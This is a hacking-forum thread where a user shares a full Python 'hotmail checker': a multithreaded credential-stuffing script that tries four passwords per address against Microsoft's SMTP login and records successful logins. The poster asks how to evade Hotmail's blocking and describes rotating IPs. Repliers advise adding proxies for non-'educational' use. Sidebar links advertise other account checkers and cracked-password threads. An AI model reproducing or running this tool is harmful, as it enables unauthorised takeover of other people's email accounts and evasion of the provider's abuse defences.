I have made a python hotmail checker, checks each email 4 different passwords. >>
by YadOrez - Tuesday April 23, 2024 at 05:34 PM
#1
I made a hotmail checker. I reset my mobile internet IP/on my phone, to achieve a new IP every 60 seconds.

Anything wrong with this? I ask it to log in to each email in a .txt file with 4 different passwords. Here's the code: 

import os
import smtplib
import concurrent.futures
import logging
import time
import threading

MAX_RETRIES = 10  # Maximum number of retries for each login attempt
NUM_THREADS = 100  # Number of concurrent threads (adjust as needed)
RETRY_DELAY = 10  # Delay in seconds before retrying after connection interruption
LOGIN_TIMEOUT = 30  # Timeout for each login attempt in seconds
LOG_FILE = 'successful_logins.txt'
ERROR_LOG_FILE = 'error_log.txt'
CHECKED_EMAILS_FILE = 'checked_emails.txt'
GREEN = "\033[92m"  # ANSI escape code for green text
RESET = "\033[0m"  # ANSI escape code to reset text color

# Initialize progress statistics
accounts_loaded = 0
accounts_checked = 0
accounts_failed = 0
accounts_valid = 0

# Lock for thread-safe access to progress statistics
progress_lock = threading.Lock()

logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s',
                    handlers=[logging.FileHandler(ERROR_LOG_FILE), logging.StreamHandler()])

# Function to record checked emails
def record_checked_email(email, password):
    with open(CHECKED_EMAILS_FILE, 'a') as f:
        f.write(f"{email}:{password}\n")

# Function to load already checked emails
def load_checked_emails():
    try:
        with open(CHECKED_EMAILS_FILE, 'r') as f:
            return set(line.strip() for line in f)
    except FileNotFoundError:
        return set()

# Load checked emails at the start
checked_emails = load_checked_emails()

# Specify the four passwords to try
passwords_to_try = ['password1', 'password2', 'password3', 'password4']

def check_credentials(email, password):
    retries = 0
    while retries < MAX_RETRIES:
        try:
            smtp_server = smtplib.SMTP('smtp.office365.com', 587, timeout=LOGIN_TIMEOUT)
            smtp_server.starttls()
            smtp_server.login(email, password)
            logging.info(f"Login successful for {email} with password {password}")
            with open(LOG_FILE, "a") as log_file:
                log_file.write(f"Login successful for {email} with password {password}\n")
            smtp_server.quit()
            return True
        except smtplib.SMTPAuthenticationError as e:
            logging.error(f"Login failed for {email} with password {password}: {e.smtp_error.decode()}")
            return False
        except (smtplib.SMTPConnectError, smtplib.SMTPServerDisconnected, ConnectionError) as e:
            logging.error(f"Connection error occurred for {email} with password {password}: {str(e)}")
            retries += 1
            time.sleep(RETRY_DELAY)
        except Exception as e:
            logging.error(f"Unexpected error occurred for {email} with password {password}: {str(e)}")
            return False
    logging.error(f"Max retries reached for {email} with password {password}. Moving to the next combination.")
    return False

def process_email(email):
    global accounts_checked, accounts_failed, accounts_valid
    line_number = threading.current_thread().name  # Get the current thread's name, which is the line number

    # Skip processing if email is already checked
    if email in checked_emails:
        print(f"Email {email} already checked. Skipping...")
        return

    for password in passwords_to_try:
        with progress_lock:
            accounts_checked += 1
        if check_credentials(email, password):
            print(f"{GREEN}Successfully logged in: {email} with password {password}{RESET}")
            with progress_lock:
                accounts_valid += 1
            record_checked_email(email, password)  # Record the checked email
            break  # If login successful, no need to try other passwords
        else:
            print(f"{GREEN}Failed to login: {email} with password {password}{RESET}")
            with progress_lock:
                accounts_failed += 1

def main_worker(emails):
    with concurrent.futures.ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
        executor.map(process_email, emails)

def update_threads(num_threads):
    global NUM_THREADS
    NUM_THREADS = num_threads
    logging.info(f"Number of threads updated to {NUM_THREADS}")

def show_progress():
    global accounts_loaded
    while True:
        time.sleep(1)  # Update progress every second
        with progress_lock:
            total_emails = accounts_loaded
            if total_emails == 0:
                continue
            percentage_complete = (accounts_checked / total_emails) * 100
            print(f"Progress: {percentage_complete:.2f}% complete | Loaded: {accounts_loaded} | Checked: {accounts_checked} | Failed: {accounts_failed} | Valid: {accounts_valid}")
            # Set CMD window title dynamically
            os.system(f"title Progress: {percentage_complete:.2f}%")

def main_menu():
    print("Available commands:")
    print("1. Start")
    print("2. Pause")
    print("3. Set Threads")
    print("4. Stop")
    print("5. Exit")

def start_script(emails):
    global accounts_loaded
    accounts_loaded = len(emails)
    main_worker(emails)

def pause_script():
    logging.info("Script paused")

def set_threads():
    num_threads = int(input("Enter the number of threads: "))
    update_threads(num_threads)

def stop_script():
    logging.info("Script stopped")

def main():
    global checked_emails
    file_path = input("Enter the path to the file containing the list of emails: ")
    try:
        with open(file_path, 'r', encoding='utf-8') as file:
            emails_to_check = [line.strip() for line in file if line.strip()]
       
        # Load checked emails
        checked_emails = load_checked_emails()

        main_menu()
        while True:
            choice = input("Enter your choice: ")
            if choice == '1':
                start_script(emails_to_check)
                show_progress()
            elif choice == '2':
                pause_script()
            elif choice == '3':
                set_threads()
            elif choice == '4':
                stop_script()
                break
            elif choice == '5':
                logging.info("Exiting...")
                break
            else:
                print("Invalid choice. Please try again.")
    except FileNotFoundError:
        logging.error("File not found. Please make sure you enter the correct file path.")

if __name__ == "__main__":
    main()

Do hotmail block commonly used passwords that are attempted for different emails, on the same IP? Can you share info, this is perhaps a v good script! :-)
Reply
#2
thx much have a nice one.
Reply
#3
(04-23-2024, 05:37 PM)scwwheeler4r Wrote: thx much have a nice one.

Hey! Come back here with my code! Don't leech and expect not to get f*cked up by the hacker government. I already found you.
Reply
#4
It's pretty good if you are simply using it for "educational purposes". My subjective recommendations would be to add:
  • More consistent comments: Your comments are direct but I feel that they are all over the place. I would suggest adding small one line comments over each function.
  • Proxy support: If you plan on using this for anything other than "educational purposes" then proxies are a go-to. As far as I know smtplib does not support proxies unfortunately.


Other than those personal recommendations of mine. It's really good. You've got error handling for specific errors, threading, user input, etc.

Nice work.
Reply
#5
ask chatgpt 4.o you will get better response with it
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  HACKUS MAIL CHECKER 2 GHOSTATN 0 402 03-03-2025, 08:16 PM
Last Post: GHOSTATN
  NEXUS CHECKER - FORTNITE FULL CAPTURE Swiptt 4 1,719 01-21-2025, 04:52 PM
Last Post: Eliasthefr
  [CRACKED] Luxify 5 - The BEST AIO Checker 83 modules franciscobadaro 2 1,405 12-15-2024, 06:42 PM
Last Post: salv
  Spotify Checker { Private API } | Fast CPM & With capture 16/11/2024 MagicanZZZSA 0 969 11-16-2024, 10:45 AM
Last Post: MagicanZZZSA
  How To Crack Zynga Leaked Passwords? breachxyz 6 1,084 11-05-2024, 02:23 PM
Last Post: laksor

Forum Jump:


 Users browsing this thread: 1 Guest(s)